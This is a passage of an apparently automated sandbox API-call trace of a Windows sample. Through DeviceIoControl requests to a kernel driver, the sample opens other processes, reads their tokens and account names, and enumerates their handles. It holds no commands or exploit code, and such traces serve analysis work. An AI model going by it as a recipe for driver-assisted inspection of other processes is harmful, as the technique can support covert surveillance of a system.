nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0106.503] PsLookupProcessByProcessId (in: ProcessId=0xd64, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.503] PsAcquireProcessExitSynchronization () returned 0x0 [0106.503] KeStackAttachProcess (in: PROCESS=0xfffffa800355e060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800355e060, ApcState=0xfffff88004f095d0) [0106.504] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80036f0dc0, HandleInformation=0x0) returned 0x0 [0106.504] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.504] PsReleaseProcessExitSynchronization () returned 0x2 [0106.504] ObfDereferenceObject (Object=0xfffffa800355e060) returned 0x12 [0106.504] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.504] ObfDereferenceObject (Object=0xfffffa80036f0dc0) returned 0x1 [0106.504] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.504] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.504] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xd6c) returned 0xc0 [0106.504] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.504] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa80038deb30, HandleInformation=0x0) returned 0x0 [0106.504] ObOpenObjectByPointer (in: Object=0xfffffa80038deb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff8000053c) returned 0x0 [0106.504] ObfDereferenceObject (Object=0xfffffa80038deb30) returned 0x29 [0106.504] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000053c, DesiredAccess=0x8, TokenHandle=0xfffffa8002f00240 | out: TokenHandle=0xfffffa8002f00240*=0xc8) returned 0x0 [0106.504] ZwClose (Handle=0xffffffff8000053c) returned 0x0 [0106.504] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.504] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.504] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.506] CloseHandle (hObject=0xc8) returned 1 [0106.506] CloseHandle (hObject=0xc0) returned 1 [0106.506] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.506] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0106.506] PsLookupProcessByProcessId (in: ProcessId=0xd6c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.506] PsAcquireProcessExitSynchronization () returned 0x0 [0106.506] KeStackAttachProcess (in: PROCESS=0xfffffa80038deb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80038deb30, ApcState=0xfffff88004f095d0) [0106.506] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002086070, HandleInformation=0x0) returned 0x0 [0106.506] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.506] PsReleaseProcessExitSynchronization () returned 0x2 [0106.506] ObfDereferenceObject (Object=0xfffffa80038deb30) returned 0x27 [0106.506] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.506] ObfDereferenceObject (Object=0xfffffa8002086070) returned 0x1 [0106.506] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.506] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.506] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.506] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0106.506] PsLookupProcessByProcessId (in: ProcessId=0xd6c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.506] PsAcquireProcessExitSynchronization () returned 0x0 [0106.506] KeStackAttachProcess (in: PROCESS=0xfffffa80038deb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80038deb30, ApcState=0xfffff88004f095d0) [0106.506] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800261de60, HandleInformation=0x0) returned 0x0 [0106.506] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.506] PsReleaseProcessExitSynchronization () returned 0x2 [0106.506] ObfDereferenceObject (Object=0xfffffa80038deb30) returned 0x27 [0106.506] ObQueryNameString (in: Object=0xfffffa800261de60, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.506] ObfDereferenceObject (Object=0xfffffa800261de60) returned 0x1 [0106.506] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.507] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.507] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.507] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.507] PsLookupProcessByProcessId (in: ProcessId=0xd6c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.507] PsAcquireProcessExitSynchronization () returned 0x0 [0106.507] KeStackAttachProcess (in: PROCESS=0xfffffa80038deb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80038deb30, ApcState=0xfffff88004f095d0) [0106.507] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0106.507] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.507] PsReleaseProcessExitSynchronization () returned 0x2 [0106.507] ObfDereferenceObject (Object=0xfffffa80038deb30) returned 0x27 [0106.507] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.507] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4c [0106.507] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.507] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.507] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.507] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0106.507] PsLookupProcessByProcessId (in: ProcessId=0xd6c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.507] PsAcquireProcessExitSynchronization () returned 0x0 [0106.507] KeStackAttachProcess (in: PROCESS=0xfffffa80038deb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80038deb30, ApcState=0xfffff88004f095d0) [0106.507] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80024198e0, HandleInformation=0x0) returned 0x0 [0106.507] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.507] PsReleaseProcessExitSynchronization () returned 0x2 [0106.507] ObfDereferenceObject (Object=0xfffffa80038deb30) returned 0x27 [0106.507] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.507] ObfDereferenceObject (Object=0xfffffa80024198e0) returned 0x1 [0106.507] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.507] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.507] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.507] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.507] PsLookupProcessByProcessId (in: ProcessId=0xd6c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.507] PsAcquireProcessExitSynchronization () returned 0x0 [0106.507] KeStackAttachProcess (in: PROCESS=0xfffffa80038deb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80038deb30, ApcState=0xfffff88004f095d0) [0106.507] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a002ca4530, HandleInformation=0x0) returned 0x0 [0106.508] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.508] PsReleaseProcessExitSynchronization () returned 0x2 [0106.508] ObfDereferenceObject (Object=0xfffffa80038deb30) returned 0x27 [0106.508] ObQueryNameString (in: Object=0xfffff8a002ca4530, ObjectNameInfo=0xfffffa8002501044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002501044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.508] ObfDereferenceObject (Object=0xfffff8a002ca4530) returned 0x1 [0106.508] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.508] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.508] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.508] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0106.508] PsLookupProcessByProcessId (in: ProcessId=0xd6c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.508] PsAcquireProcessExitSynchronization () returned 0x0 [0106.508] KeStackAttachProcess (in: PROCESS=0xfffffa80038deb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80038deb30, ApcState=0xfffff88004f095d0) [0106.508] ObReferenceObjectByHandle (in: Handle=0xac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002608620, HandleInformation=0x0) returned 0x0 [0106.508] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.508] PsReleaseProcessExitSynchronization () returned 0x2 [0106.508] ObfDereferenceObject (Object=0xfffffa80038deb30) returned 0x27 [0106.508] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80024cf044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80024cf044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.508] ObfDereferenceObject (Object=0xfffffa8002608620) returned 0x1 [0106.508] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.508] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.508] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.508] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0106.508] PsLookupProcessByProcessId (in: ProcessId=0xd6c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.508] PsAcquireProcessExitSynchronization () returned 0x0 [0106.508] KeStackAttachProcess (in: PROCESS=0xfffffa80038deb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80038deb30, ApcState=0xfffff88004f095d0) [0106.508] ObReferenceObjectByHandle (in: Handle=0xc4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0106.508] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.508] PsReleaseProcessExitSynchronization () returned 0x2 [0106.508] ObfDereferenceObject (Object=0xfffffa80038deb30) returned 0x27 [0106.508] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa800250f044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800250f044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.508] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0x9 [0106.508] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.508] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.509] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xdbc) returned 0xc0 [0106.509] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.509] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa800384f760, HandleInformation=0x0) returned 0x0 [0106.509] ObOpenObjectByPointer (in: Object=0xfffffa800384f760, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff8000053c) returned 0x0 [0106.509] ObfDereferenceObject (Object=0xfffffa800384f760) returned 0x10 [0106.509] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000053c, DesiredAccess=0x8, TokenHandle=0xfffffa8002f00240 | out: TokenHandle=0xfffffa8002f00240*=0xc8) returned 0x0 [0106.509] ZwClose (Handle=0xffffffff8000053c) returned 0x0 [0106.509] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.509] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.509] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.511] CloseHandle (hObject=0xc8) returned 1 [0106.511] CloseHandle (hObject=0xc0) returned 1 [0106.511] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.511] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0106.511] PsLookupProcessByProcessId (in: ProcessId=0xdbc, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.511] PsAcquireProcessExitSynchronization () returned 0x0 [0106.511] KeStackAttachProcess (in: PROCESS=0xfffffa800384f760, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800384f760, ApcState=0xfffff88004f095d0) [0106.511] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800231c360, HandleInformation=0x0) returned 0x0 [0106.511] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.511] PsReleaseProcessExitSynchronization () returned 0x2 [0106.511] ObfDereferenceObject (Object=0xfffffa800384f760) returned 0xe [0106.511] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.511] ObfDereferenceObject (Object=0xfffffa800231c360) returned 0x1 [0106.511] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.511] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.511] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.511] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0106.511] PsLookupProcessByProcessId (in: ProcessId=0xdbc, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.511] PsAcquireProcessExitSynchronization () returned 0x0 [0106.511] KeStackAttachProcess (in: PROCESS=0xfffffa800384f760, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800384f760, ApcState=0xfffff88004f095d0) [0106.511] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80024d7c70, HandleInformation=0x0) returned 0x0 [0106.511] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.511] PsReleaseProcessExitSynchronization () returned 0x2 [0106.511] ObfDereferenceObject (Object=0xfffffa800384f760) returned 0xe [0106.511] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.511] ObfDereferenceObject (Object=0xfffffa80024d7c70) returned 0x1 [0106.511] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.511] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.512] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xdc8) returned 0xc0 [0106.512] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.512] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa80038568e0, HandleInformation=0x0) returned 0x0 [0106.512] ObOpenObjectByPointer (in: Object=0xfffffa80038568e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff8000053c) returned 0x0 [0106.512] ObfDereferenceObject (Object=0xfffffa80038568e0) returned 0x23 [0106.512] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000053c, DesiredAccess=0x8, TokenHandle=0xfffffa8002f00240 | out: TokenHandle=0xfffffa8002f00240*=0xc8) returned 0x0 [0106.512] ZwClose (Handle=0xffffffff8000053c) returned 0x0 [0106.512] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.512] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.512] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.513] CloseHandle (hObject=0xc8) returned 1 [0106.513] CloseHandle (hObject=0xc0) returned 1 [0106.513] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.513] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0106.513] PsLookupProcessByProcessId (in: ProcessId=0xdc8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.513] PsAcquireProcessExitSynchronization () returned 0x0 [0106.513] KeStackAttachProcess (in: PROCESS=0xfffffa80038568e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80038568e0, ApcState=0xfffff88004f095d0) [0106.513] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80035228e0, HandleInformation=0x0) returned 0x0 [0106.514] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.514] PsReleaseProcessExitSynchronization () returned 0x2 [0106.514] ObfDereferenceObject (Object=0xfffffa80038568e0) returned 0x21 [0106.514] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.514] ObfDereferenceObject (Object=0xfffffa80035228e0) returned 0x1 [0106.514] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.514] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.514] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.514] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0106.514] PsLookupProcessByProcessId (in: ProcessId=0xdc8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.514] PsAcquireProcessExitSynchronization () returned 0x0 [0106.514] KeStackAttachProcess (in: PROCESS=0xfffffa80038568e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80038568e0, ApcState=0xfffff88004f095d0) [0106.514] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800286fc20, HandleInformation=0x0) returned 0x0 [0106.514] 